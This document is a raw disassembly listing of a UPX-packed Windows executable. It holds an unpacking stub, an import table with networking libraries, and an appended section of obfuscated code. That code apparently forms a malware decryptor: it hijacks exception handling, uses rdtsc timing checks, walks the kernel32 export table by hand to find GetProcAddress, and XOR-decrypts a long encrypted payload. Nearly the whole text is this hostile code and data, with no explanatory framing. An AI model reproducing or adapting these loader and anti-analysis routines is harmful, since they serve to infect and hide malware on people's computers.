7B7B2274h, 90130B1h, 3500398Ch dd 7301B223h, 72E1D5Bh, 0C9ABDA00h, 8273C80h, 0EC57DA20h dd 9F324E24h, 461A0003h, 6407923h, 4007471Bh, 45060006h dd 101B9FFFh, 8A151F01h, 48E088h, 444004Fh, 292FFFF6h dd 0F27A6A19h, 281C49E4h, 742530AFh, 0E1536710h, 4DF214F2h dd 3075DF5Ch, 0BAF70400h, 75CDAE6h, 5C085ABDh, 0D8DD4D61h dd 72E5DC8h, 2E380036h, 491B3077h, 0B62E6CECh, 1043EC00h dd 0E5633F00h, 6439E403h dd 4DC08A2h, 0B7FC83D8h, 0FF1640h, 0E00DEDEh, 19F1600h dd 26FD2602h, 2840484Ch, 6110319h, 8BF70D1Bh, 0D374D96Ch dd 90A5C370h, 9C2AB2EFh, 6077256Bh, 109FB6CFh, 1B04480Eh dd 0B73E1354h, 5A545D75h, 22596326h, 45CBC75Ch, 0E7FCD20Fh dd 58765h, 4810030Bh, 0FFB810B8h, 0E7B17FFh, 286A050Bh dd 0B10C3919h, 0A89B11D0h, 0D94FC000h, 0FF85F62Eh, 5D5FF5B1h dd 1CEB8A88h, 0E89F11C9h, 48102B3Ch, 0B9F2D160h, 0F40C5EC8h dd 0CA060A3h, 5790F200h, 0CB10CA0h, 0C8E4EFFBh, 880CA000h dd 90040h, 0EC0703ECh, 0E49E11h, 4F401495h, 0BF40707Ch dd 1B2297B2h, 13430700h, 23FF09E7h, 138578h, 0E9A65BABh dd 63F81013h, 2F90273Ch, 230EFEFFh, 60C30740h, 8408E651h dd 0F74F9388h, 10B94349h, 0B801FFEEh, 0E4D98710h, 0AD200CC9h dd 7C7F070Dh, 0FC85796h, 700118D8h, 3E400F84h, 0F8495E4h dd 36000F95h, 21BF279h, 6C0F847Fh, 0AB7B000Fh, 0A89A1E12h dd 0FF13436Fh, 1F223024h, 50586E69h, 6C725020h, 2B029Bh dd 39014446h, 0F2113F24h, 123C6B32h, 0EC027515h, 41F21035h dd 941C0053h, 72BFFE01h, 0C606EB88h, 73255C5Ch, 6370695Ch dd 0FFE5D424h, 0EC81666Fh, 0E4FF071Ch, 44655300h, 67756265h dd 0E8DF7669h, 67ADD463h, 6A6441CFh, 6F548975h, 0DB92656Bh dd 176EB266h, 126F4C73h, 0FD1C7075h, 61567F76h, 4165756Ch dd 28704F17h, 2C77636Fh, 34C6A475h, 61766B00h, 0DF053367h dd 75E318D4h, 39316DCDh, 0FE6A322Dh, 9F5A3A37h, 72545F6Ch dd 6E577961h, 96DD4364h, 61AF36DAh, 6F94521Eh, 0AD685405h dd 0CCEA354h, 7C45614h, 0BA99B65Ch, 532841B5h, 3EA37845h dd 0FA34356Eh, 0F54BB3D2h, 544822F3h, 7D835054h, 404B46A9h dd 4F6C9C20h, 0BB0A0D4Bh, 1EF52B5h, 244CB4Bh, 0CA044C2Dh dd 676ADF66h, 25203A59h, 0DA2F1875h, 28587B5Ah, 26B97954h dd 6D5A70A7h, 63B2B6A6h, 2E2F15AFh, 8EA9EE56h, 72BF2DCBh dd 59B4CBCDh, 4757B18Bh, 1E3FC304h, 372A942Dh, 0F1640200h dd 0E95FED0Bh, 6D9573D7h, 0B1637673h, 2DDF77D7h, 25692D5Eh dd 175F320Fh, 98B73475h, 7BD2F6Bh, 38393103h, 0D34D34DBh dd 34353637h, 75236933h, 7DCE9A6h, 2F313203h, 0DEF60C39h dd 3837D9h, 37073B43h, 8320C832h, 0C8343536h, 330C8320h dd 93523132h, 0FB8B2CD4h, 0B7F9E03Ah, 0C7EDB58Ah, 54464F47h dd 45524157h, 9163F0Dh, 75435CD7h, 56297272h, 6C378442h dd 5C1E73E8h, 0B36E7552h, 0D0B6ED37h, 0EA6F74E2h, 20306838h dd 7FF81B53h, 0FB0F1A14h, 736E6753h, 796A7264h, 0CB564472h dd 7E741768h, 0B9AAEAA7h, 5F7A43C2h, 0CE23h, 4C10E147h dd 47136055h, 535E01BBh, 9E432053h, 0D5762067h, 0ADBD9B53h dd 945876DCh, 7C23B532h, 2D82F642h, 0E3471A1Bh, 23CB7337h dd 79931217h, 0A35A8473h, 4200F1B1h, 75D72077h, 0BDADB023h dd 6D1B13C5h, 0DD975220h, 0A5B73772h, 2044180Dh, 2F662620h dd 2D856D67h, 2AAC73D9h, 22632463h, 0FED722D9h, 20797469h dd 1E6E614Dh, 1831F81Ah, 420000Ch, 15455D12h, 0FB2493C4h dd 0C0017119h, 65657246h, 0B7E00D0Ch, 470DCD47h, 6F4D7465h dd 2F14BF87h, 434665C5h, 406D614Eh, 74736C01h, 35DEF772h dd 0A956380h, 79706F43h, 0E1480A19h, 456102DEh, 22326578h dd 0F8A5FFEDh, 6C6F6F54h, 3233703Bh, 70616E53h, 746F6873h dd 9B5BBA19h, 32127414h, 540F7372h, 235AE60Bh, 182C35A3h dd 0F60B6C21h, 78654E01h, 41616974h, 16BFFB54h, 0CF76453Ch dd 7469616Bh, 53726F46h, 0ED74423Ch, 4F7B676Dh, 2C766A62h dd 0E025A144h, 8D22B59Bh, 0CD964CB7h, 45DB76CDh, 2F725072h dd 48196972h, 0EF64BDD6h, 486573FDh, 0C646E61h, 886C3255h dd 8B61B59h, 4618E06Eh, 46D735F1h, 64B14465h, 59498B4Bh dd 530C1BC0h, 64656B1Dh, 0ADDD1F45h, 1270B36Dh, 661D4061h dd 1153246Fh, 96EC9B3h, 6EC17065h, 25CFF64Bh, 12EE9E9Bh dd 6464410Bh, 0EF660F72h, 4CD9221Bh, 61726269h, 0CD15B567h dd 4D2BC1B5h, 6C137C82h, 0BB961016h, 8763CF9Ch, 54F685B5h dd 75969869h, 2B4DDE65h, 0B15B092h, 0B4B44278h, 0D366C37h dd 0E539AF5Dh, 5D22CC21h, 78456862h, 66C25B6Dh, 630AF631h dd 373C6D13h, 522D8DC1h, 87B591Bh, 2ECD82ADh, 38657A94h dd 9F9D5B5Ch, 2CD1937Dh, 654B9367h, 0EC3B4579h, 7810CE40h dd 0A510F99h, 5AC25EC0h, 309011E8h, 426C5987h, 0D21021E7h dd 7B70A107h, 62410C51h, 6853B024h, 688D0E29h, 0FF78F1F6h dd 0D9851AC1h, 10892877h, 7DB662BBh, 6112440Ah, 6669320Eh dd 0B63AD61Bh, 8F67BC79h, 6C362B75h, 436F616Fh, 2C796FC0h dd 23506F11h, 52106770h, 3F900E8Fh, 0B4A438F6h, 71634114h dd 70726975h, 4DD874AEh, 3AA03549h, 59A7C336h, 73ECDE13h dd 6D06BC72h, 0D1CE18B1h, 840E27B2h, 99DA150Fh, 1D4D536Bh dd 0C54A445Fh, 3FB8740Ah, 0C5E8685Fh, 6EC46D27h, 0AD0702CDh dd 880D696Fh, 660AD172h, 14E955B3h, 40288901h, 0F3488CD3h dd 0CC652D15h, 0EC0CC362h, 0E10A1415h, 0DF26106Eh, 776C49ACh dd 0C20B7073h, 0B75BB669h, 0F44F4166h, 3DB6FC28h, 8B2C2834h dd 1141A155h, 16C05212h, 6A615F0Eh, 6B14C370h, 0C9416E09h dd 3BB86658h, 1A877453h, 0F5135B3Fh, 7940EB45h, 2C020273h dd 0D2CB2CBh, 346F3901h, 0B2CB2CB2h, 4090C17h, 2AA4F413h dd 141610CBh, 7C834550h, 74EC4AABh, 40E07ED2h, 0CE8011E0h dd 10F00FDh, 0BE06010Bh, 6ABA120Ch, 0EFCB20ECh, 31431024h dd 0BA4B020Bh, 7283259h, 364600Ch, 341E733Bh, 8060710h dd 37B39609h, 0E33F8C2Fh, 6405DB0Ah, 2E1E0180h, 0B06C0C5Bh dd 263207DDh, 0DBC42890h, 7D0483E3h, 642EE004h, 6E54FBE7h dd 1221DD21h, 162C27h, 0C08574BEh, 0C9314648h, 54h, 0 align 10h pusha mov esi, offset dword_31436000 lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31437CA2 ; --------------------------------------------------------------------------- align 8 loc_31437C98: ; CODE XREF: UPX1:loc_31437CA9j mov al, [esi] inc esi mov [edi], al inc edi loc_31437C9E: ; CODE XREF: UPX1:31437D36j ; UPX1:31437D4Dj add ebx, ebx jnz short loc_31437CA9 loc_31437CA2: ; CODE XREF: UPX1:31437C90j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CA9: ; CODE XREF: UPX1:31437CA0j jb short loc_31437C98 mov eax, 1 loc_31437CB0: ; CODE XREF: UPX1:31437CBFj ; UPX1:31437CCAj add ebx, ebx jnz short loc_31437CBB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CBB: ; CODE XREF: UPX1:31437CB2j adc eax, eax add ebx, ebx jnb short loc_31437CB0 jnz short loc_31437CCC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31437CB0 loc_31437CCC: ; CODE XREF: UPX1:31437CC1j xor ecx, ecx sub eax, 3 jb short loc_31437CE0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_31437D52 mov ebp, eax loc_31437CE0: ; CODE XREF: UPX1:31437CD1j add ebx, ebx jnz short loc_31437CEB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CEB: ; CODE XREF: UPX1:31437CE2j adc ecx, ecx add ebx, ebx jnz short loc_31437CF8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CF8: ; CODE XREF: UPX1:31437CEFj adc ecx, ecx jnz short loc_31437D1C inc ecx loc_31437CFD: ; CODE XREF: UPX1:31437D0Cj ; UPX1:31437D17j add ebx, ebx jnz short loc_31437D08 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437D08: ; CODE XREF: UPX1:31437CFFj adc ecx, ecx add ebx, ebx jnb short loc_31437CFD jnz short loc_31437D19 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31437CFD loc_31437D19: ; CODE XREF: UPX1:31437D0Ej add ecx, 2 loc_31437D1C: ; CODE XREF: UPX1:31437CFAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_31437D3C loc_31437D2D: ; CODE XREF: UPX1:31437D34j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_31437D2D jmp loc_31437C9E ; --------------------------------------------------------------------------- align 4 loc_31437D3C: ; CODE XREF: UPX1:31437D2Bj ; UPX1:31437D49j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_31437D3C add edi, ecx jmp loc_31437C9E ; --------------------------------------------------------------------------- loc_31437D52: ; CODE XREF: UPX1:31437CDCj pop esi mov edi, esi mov ecx, 86h loc_31437D5A: ; CODE XREF: UPX1:31437D61j ; UPX1:31437D66j mov al, [edi] inc edi sub al, 0E8h loc_31437D5F: ; CODE XREF: UPX1:31437D84j cmp al, 1 ja short loc_31437D5A cmp byte ptr [edi], 1 jnz short loc_31437D5A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_31437D5F lea edi, [esi+5000h] loc_31437D8C: ; CODE XREF: UPX1:31437DAEj mov eax, [edi] or eax, eax jz short loc_31437DD7 mov ebx, [edi+4] lea eax, [eax+esi+7000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+708Ch] xchg eax, ebp loc_31437DA9: ; CODE XREF: UPX1:31437DCFj mov al, [edi] inc edi or al, al jz short loc_31437D8C mov ecx, edi jns short near ptr loc_31437DBA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_31437DBA: ; CODE XREF: UPX1:31437DB2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+7090h] or eax, eax jz short loc_31437DD1 mov [ebx], eax add ebx, 4 jmp short loc_31437DA9 ; --------------------------------------------------------------------------- loc_31437DD1: ; CODE XREF: UPX1:31437DC8j call dword ptr [esi+7094h] loc_31437DD7: ; CODE XREF: UPX1:31437D90j popa jmp loc_314324EF ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00012000 ( 73728.) ; Section size in file : 00012000 ( 73728.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31438000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dd 7C801D77h dword_31438090 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_3144201C+31r ... dd 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C371D3h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 0C3906893h, 0C48BED01h, 0E85BD0FFh, 5Fh, 824648Bh, 4EBB8h dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 427500F8h dd 0E8h, 0ED815D00h, 402338h, 2385858Bh, 85030040h, 40238Dh dd 858BF08Bh, 402389h, 238D8503h, 60500040h, 0C933FE8Bh dd 2395958Ah, 32AC0040h, 0AAD002C2h, 918D3B41h, 7C004023h dd 2BC361F1h, 30FF64C0h, 0B8208964h, 12345678h, 60000387h dd 7C800000h, 0 dd 1E003143h, 300000h, 75Ch dup(0) db 87h, 0DBh ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_3143A01F stc call sub_3143A0BB cmc clc mov ebp, 12FFC0h ; DATA XREF: sub_3143A01F+6w cld mov edx, edx jmp loc_3143A053 ; =============== S U B R O U T I N E ======================================= sub_3143A01F proc near ; CODE XREF: UPX2:3143A005p push dword ptr fs:0 mov dword ptr ds:loc_3143A012+1, ebp xchg ebx, ebx mov fs:0, esp xor ecx, ecx push 80000000h push 80000000h push 4 push ecx push ecx push ecx push ecx push 1000h call ds:dword_31438090 ; GetProcAddress loc_3143A053: ; CODE XREF: UPX2:3143A01Aj clc sub eax, eax loc_3143A056: ; CODE XREF: sub_3143A01F+3Dj dec al or al, al jz short loc_3143A060 jnz short loc_3143A056 jmp short locret_3143A0C7 ; --------------------------------------------------------------------------- loc_3143A060: ; CODE XREF: sub_3143A01F+3Bj nop cld xchg ebx, ebx jmp short $+2 sub ebx, ebx sub ecx, ecx cld mov cl, 0D2h cmc cmc nop nop loc_3143A071: ; CODE XREF: sub_3143A01F+56j lea ebx, [ebx+1] dec ecx jnz short loc_3143A071 clc call sub_3143A0B5 clc sub edx, 0FFFFFFA8h xor edi, edi or edi, 2990h cld push edx cld loc_3143A08F: ; CODE XREF: sub_3143A01F+80j call sub_3143A0CA cld clc inc edx sub edi, 1 stc cmc cmp edi, 0 ja short loc_3143A08F pop edx stc mov ebx, [ebp-8] mov fs:0, ebx cmc leave nop cmc clc jmp edx sub_3143A01F endp ; --------------------------------------------------------------------------- cld cmc ; =============== S U B R O U T I N E ======================================= sub_3143A0B5 proc near ; CODE XREF: sub_3143A01F+59p pop edx cld clc push edx retn sub_3143A0B5 endp ; --------------------------------------------------------------------------- cmc ; =============== S U B R O U T I N E ======================================= sub_3143A0BB proc near ; CODE XREF: UPX2:3143A00Bp arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax locret_3143A0C7: ; CODE XREF: sub_3143A01F+3Fj retn sub_3143A0BB endp ; sp-analysis failed ; --------------------------------------------------------------------------- cld cld ; =============== S U B R O U T I N E ======================================= sub_3143A0CA proc near ; CODE XREF: sub_3143A01F:loc_3143A08Fp mov al, [edx] sub ax, bx clc xchg al, [edx] retn sub_3143A0CA endp ; --------------------------------------------------------------------------- stc clc call $+5 mov eax, [esp] cld mov [eax+32C7h], ebx mov ecx, [eax+297Fh] mov ebx, [esp+4] and ecx, 10000000h jz short loc_3143A121 pop ecx mov [eax+32CBh], esi mov cl, [eax+2983h] mov [eax+32CFh], edi cmp cl, 0E8h jz short loc_3143A116 mov ebx, [eax+2985h] jmp short loc_3143A11F ; --------------------------------------------------------------------------- loc_3143A116: ; CODE XREF: UPX2:3143A10Cj add ebx, [eax+2984h] mov ebx, [ebx+2] loc_3143A11F: ; CODE XREF: UPX2:3143A114j mov ebx, [ebx] loc_3143A121: ; CODE XREF: UPX2:3143A0F4j push ebp mov ebp, eax sub dword ptr [esp+4], 1EDAh sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103990h] mov ecx, 0 rep movsb call sub_3143A1FA mov ecx, eax call sub_3143A1FA sub eax, ecx jz short loc_3143A1CC cmp eax, 100h ja short loc_3143A1CC and ebx, 0FFFFF000h loc_3143A160: ; CODE XREF: UPX2:3143A16Fj cmp dword ptr [ebx+4Eh], 73696854h jz short loc_3143A171 loc_3143A169: ; CODE XREF: UPX2:3143A17Ej sub ebx, 100h jnz short loc_3143A160 loc_3143A171: ; CODE XREF: UPX2:3143A167j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3143A169 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_3143A18B: ; CODE XREF: UPX2:loc_3143A19Fj lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_3143A19F cmp dword ptr [eax+5], 6441636Fh jz short loc_3143A1A4 loc_3143A19F: ; CODE XREF: UPX2:3143A194j loop loc_3143A18B pop ecx jmp short loc_3143A1CC ; --------------------------------------------------------------------------- loc_3143A1A4: ; CODE XREF: UPX2:3143A19Dj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+101141h] mov dx, [eax-19h] call sub_3143A1FF jmp short loc_3143A216 ; --------------------------------------------------------------------------- loc_3143A1CC: ; CODE XREF: UPX2:3143A151j ; UPX2:3143A158j ... mov eax, [ebp+103984h] and eax, 10000000h jz short loc_3143A1F8 mov edi, [esp+4] lea esi, [ebp+103988h] lodsd mov ebx, [ebp+1042CCh] stosd movsb mov edi, [ebp+1042D4h] mov esi, [ebp+1042D0h] ; CODE XREF: UPX2:3143A22Aj loc_3143A1F8: ; CODE XREF: UPX2:3143A1D7j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_3143A1FA proc near ; CODE XREF: UPX2:3143A143p ; UPX2:3143A14Ap rdtsc retn sub_3143A1FA endp ; --------------------------------------------------------------------------- db 0D8h, 69h ; =============== S U B R O U T I N E ======================================= sub_3143A1FF proc near ; CODE XREF: UPX2:3143A1C5p push ebx mov ecx, 2843h mov ebx, edx loc_3143A207: ; CODE XREF: sub_3143A1FF+13j xor [eax], dl sub dl, bl add eax, 1 xchg bl, bh xchg dl, dh loop loc_3143A207 pop ebx retn sub_3143A1FF endp ; --------------------------------------------------------------------------- loc_3143A216: ; CODE XREF: UPX2:3143A1CAj xor [ebp+0], ah add [eax], ch aam 3Ch inc ecx or esp, [eax-6859C218h] pushf out dx, eax sbb [edx-41h], dh outsb loope near ptr loc_3143A1F2+4 mov dh, 0D8h test al, 7Dh or [ecx], bl or [ebx-43D5FED0h], ch loope loc_3143A23E int 42h ; - EGA/VGA/PS - Relocated (by EGA) Video Handler (original INT 10h) cmpsb sti loc_3143A23E: ; CODE XREF: UPX2:3143A238j xchg eax, esi inc ecx popa int 3 ; Trap to Debugger sbb ebx, [esi-144E28Dh] cmp al, ch push edi sbb eax, 27ED3856h ; CODE XREF: UPX2:3143A251j loope near ptr loc_3143A24C+3 push edi rol ecx, 1 lodsb or al, 72h xchg eax, edx inc edi add eax, 73875D50h sub [ecx+6AE0EDE6h], edi lock retn 9843h ; --------------------------------------------------------------------------- dw 0AA68h dd 43CC950h, 0DBF70B1Fh, 8776B7CFh, 272D5090h, 1679FBDFh dd 0FEC8AC20h, 7188CF49h, 60FC7DC1h, 0DD7AFAA5h, 0C2059A60h dd 0A6D882A5h, 473D5085h, 67F0550h, 0A3DD8C05h, 449B4AF0h dd 0F786DC0h, 0B91D2590h, 6B08C4F5h, 8CD0A7B3h, 90A83090h dd 0E726DB16h, 0AA498C30h, 41A688C5h, 835D65C0h, 9E380605h dd 0E535C9A9h, 0B8D8628Eh, 34A34820h, 9A27CE50h, 83F68235h dd 0DEF0EBF0h, 0EFBCDC4Fh, 5A338690h, 4848DEF4h, 69588AF3h dd 22211880h, 0D5E800E6h, 33A8048h, 0CE98F070h, 4FD67E55h dd 82F87310h, 0BB8ACAE4h, 5C55C5B0h, 17389000h, 0FEC141DBh dd 0F2C8DCACh, 0B1080A1Dh, 91FDB540h, 0EB87682h, 0A8EA6B45h dd 0A5D3E2DCh, 479BF8EAh, 0F06D9389h, 10485C3Bh, 9864F1DBh dd 7816B897h, 6E50810Ch, 64880560h, 0D9E60425h, 0D7ECE300h dd 0A1774ED5h, 53C8BE3Fh, 0EB188067h, 0AB687041h, 0DDD0C690h dd 0F40875E0h, 296694A5h, 68685580h, 95FA7C54h, 93484620h dd 0F5985A18h, 0DEE8E2C0h, 276FBAF8h, 7AE0B461h, 56D813B0h dd 0C7167695h, 5720650h, 0A6379CA1h, 6108F4C6h, 8F68FDA8h dd 0BFE9CF90h, 0EB6254E0h, 73526169h, 0ED3D4F8Ah, 9EF8CEEEh dd 1ECBCFD1h, 0D1880426h, 0CB6C67C0h, 0C5389612h, 5B88C466h dd 0C59CA6FEh, 22D7204Ch, 0E5687022h, 41EC92Dh, 882BAAE0h dd 51D665CDh, 93090680h, 0C97BDC73h, 44DB6230h, 27B8AE72h dd 557CB1D0h, 848EC22h, 0A1A6D8F5h, 0DE98B7C0h, 35E3F39Fh dd 0BE03A470h, 69C8EC6Ah, 182970FFh, 0D54106D5h, 354DD7A0h dd 0DE189ACEh, 0CAE7B930h, 7DA8DFBFh, 95C2996Bh, 0C3BB4220h dd 88A9017Fh, 25C1A255h, 0B1C54720h, 7298EA4Eh, 0BE99D7C9h dd 0D471D39Fh, 0A3608470h, 0C4D8B2B1h, 6717A8BDh, 0CFB78550h dd 2C11CAA0h, 0E09B6E80h, 2C28F243h, 5DD29169h, 3E85EC8Ah dd 0B94837D3h, 0E7A84939h, 58FCF3D0h, 0BCB753DEh, 75157116h dd 9FE8088Dh, 40935010h, 0C9236027h, 0DD4D1F54h, 0FB28D03Dh dd 0E37A6736h, 0B10A9F0Bh, 3593BF12h, 0E300782Ah, 0B6B8A6E2h dd 0E008BE2Ch, 0F15868F4h, 0CFA83080h, 0A7A91EBAh, 0DC18824Ah dd 41A674E5h, 0BB6BB0C0h, 0DFD47E50h, 0F034460h, 0C55372DAh dd 3742E06Ah, 0F2ACC3Ah, 0E12494A0h, 0C1722AF0h, 0BF973211h dd 236E136Fh, 1257B4F0h, 0FD571DB5h, 0A7A81187h, 0C5F88B5Dh dd 0B8F16C30h, 0BA989A7Ch, 0DE4D3B2Fh, 9D28F6FDh, 0FF0DA960h dd 16D842A4h, 7D7CD0E0h, 0BA87C470h, 63F60235h, 0FED88FF0h dd 82800C35h, 15B86691h, 2B0894F1h, 3C1CA763h, 0D7CF85E2h dd 0DC8E77A2h, 862F294Ch, 5F702D70h, 0C0E8A8C5h, 7D7A9AA5h dd 0F91DFB60h, 9ED8228Eh, 0C90EF5FFh, 25128E40h, 0C637BECAh dd 8108D4A6h, 0AF6930F9h, 3C93D190h, 5F2C7869h, 0A3CD5D67h dd 54A8C0BEh, 0A35D7D26h, 0C3483C1Fh, 64670D24h, 1FF8B65Eh dd 2B4C7695h, 7F766726h, 0DD27FCC2h, 0D7424824h, 9087443Ah dd 33D8A236h, 0BD6C0A75h, 8AEE10D3h, 748B2690h, 0D232B771h dd 967B4B5h, 0C69AC580h, 16DCFAACh, 0D73B7E53h, 7659BB58h dd 0AFE868CEh, 7C6EC644h, 0A4DB9430h, 99E6BC25h, 0EEE8A500h dd 91874124h, 96477484h, 410895C6h, 90951DA8h, 847556Fh dd 0CB180AC6h, 3DD9ECDBh, 27A891A8h, 736D4187h, 7C48FC1Eh dd 0A1A63CE5h, 2456A1C0h, 573889EFh, 3BE2A40Ah, 69B2D2DAh dd 93280168h, 0AFBCA550h, 0FFA20CA0h, 0C3E74E7Bh, 7B37C016h dd 0B48BE690h, 54F7CE08h, 8ACDCFCFh, 55A86095h, 0CAA8CF81h dd 7376E6B5h, 0B15C7970h, 0E7B07003h, 0ED0ABA10h, 1B86EF60h dd 49D8B3B0h, 7728E000h, 0A5780E50h, 0D3E1B8A0h, 1186AF0h dd 7C3EC940h, 638A536Fh, 0D2A3F4F0h, 0CC98A69Ch, 2446B27Bh dd 0C85EB5Dh, 0BC1AAC30h, 61A650E5h, 0D36D81C0h, 25382652h dd 0FB886476h, 42B7FDFCh, 2578B075h, 0E9119839h, 0E5AD7BC5h dd 846D2691h, 0F0387801h, 2D869405h, 3B8D5DE0h, 5A581272h dd 0B4C972DCh, 989910B5h, 4107E845h, 25FBDF1Ah, 0BBEB4B3h dd 0D95B7343h, 0AFFB2860h, 67BD1EC2h, 525AE300h, 231DBA31h dd 0D2AD90C9h, 0A46A69F0h, 0A90D2C21h, 50DDEAF9h, 2278C481h dd 7919855Eh, 0C6CD62C3h, 0A7A85BA4h, 702D0F4Fh, 7298DB03h dd 2B89ADB2h, 0E05DA475h, 0EFED500Fh, 88BD20D8h, 656B8064h dd 200CCF35h, 16BAB4F4h, 0E2186E91h, 0BB095D32h, 92D732F5h dd 476DFC8Ch, 0A6AF140h, 0F4D891EEh, 0B58C71B8h, 97213465h dd 74EA1224h, 79E8CCA1h, 395DBA79h, 0CFED6909h, 0BAA161DFh dd 0A3450574h, 251DE339h, 36ADCEE6h, 0F37A83BCh, 0AF116A21h dd 9BCC23D7h, 4A6D1889h, 502AD644h, 2DCA5E2h, 0D2F8BFA3h dd 0AA0E5845h, 98CB3F1Ch, 58E8EDBAh, 247EC275h, 12DC810Ch dd 0EED877DDh, 0B8653465h, 60141B34h, 57A6FDE8h, 6159AF9Ch dd 0DB1C9D07h, 0FBC84BF5h, 0A56D3889h, 583DEF51h, 33CDF780h dd 595BB84h, 0CB3C6D70h, 0B4DF3A31h, 8D8D3EB4h, 4357FF63h dd 2FED8360h, 0FAAA97E6h, 0F2464F69h, 0A2780F28h, 7C9E08C5h dd 2475DF9Ch, 0EB609h, 0E9D96BE2h, 8A665B89h, 98372E30h dd 45C1DCE4h, 2C8ADFA2h, 0E205EC61h, 0D4F14C00h, 998E07B7h dd 0D5D1A79h, 55EDD42Fh, 0CB4BBF6h, 0E758614Dh, 841F4039h dd 96B813A0h, 4E6ADA9Eh, 3C1BDD23h, 12CAB690h, 0D87B7183h dd 0B01E7003h, 7DC03F2h, 5697EC80h, 503BBF45h, 0E9FDB442h dd 0DABB28B4h, 81511064h, 6FFCC505h, 3CBADBC2h, 365B8574h dd 0D11D5D50h, 0B6A455E6h, 647503A4h, 4A04CB40h, 0EB8B6F5h dd 0EE7C8799h, 0D431765Dh, 0A1C704E5h, 419D12B9h, 432DC149h dd 10F5B425h, 0FA815EB0h, 8B5E7967h, 0FBED0809h, 5DAAFBE6h dd 1644A175h, 0E617823Ch, 0DABA4BA0h, 885E2F84h, 41681D2Ch dd 57DCE7E4h, 3B7CA795h, 0F02E6B42h, 0A2CF55ECh, 9E970AA3h dd 6D48E245h, 34EAF904h, 398D9CA1h, 0AD5D7A79h, 0A9CB302Eh dd 6CAC13D5h, 5447D250h, 650BBD35h, 0E18B88EEh, 0A46C4B95h dd 8C072A10h, 58CBF5F5h, 3F46B498h, 183D9073h, 0C2FB75F4h dd 0BA914AB3h, 77066C4Eh, 50FDE833h, 2CBDADB4h, 0FF688475h dd 0C8ED470Fh, 9D9652C3h, 4158E14Dh, 0A0FCB39h, 10AD8FC6h dd 0CF776384h, 801C7640h, 0BBD603E0h, 2B6DF889h, 2917B67Eh dd 0F5F89EE5h, 0C69D7DBFh, 88271853h, 5F981415h, 5A98E7B4h dd 0E5D857Eh, 0F5E76D14h, 99AC7CB0h, 925C0F72h, 4C2EFA33h dd 32BDC8D2h, 0EC7DA79Ch, 0AF116A2Fh, 0A8E932DEh, 42710685h dd 4B37C45Eh, 0EDCB1EDh, 0FAAC90BFh, 0C326494Bh, 83CF2E3Eh dd 498DFCA9h, 384CC479h, 1EC58801h, 0D0AA7DDDh, 0BB5C1200h dd 66110005h, 60ADF8CFh, 0F71B884h, 0CE07AC27h, 0EED155FEh dd 85612694h, 4A0F8257h, 26DCE3C1h, 58DAAA2h, 0CC246F20h dd 0BEEB5F03h, 8B8D03A3h, 4357F510h, 2FEBA10Eh, 0FDBD95B0h dd 0C35B4F68h, 84163732h, 61C819CDh, 416EC995h, 0B06BD33h dd 0FED77590h, 0CB7C518Bh, 9C2C0C79h, 53CDFEF2h, 2697D293h dd 0ED29A445h, 0B1FD7614h, 0BA9C2689h, 795D1862h, 78FCC127h 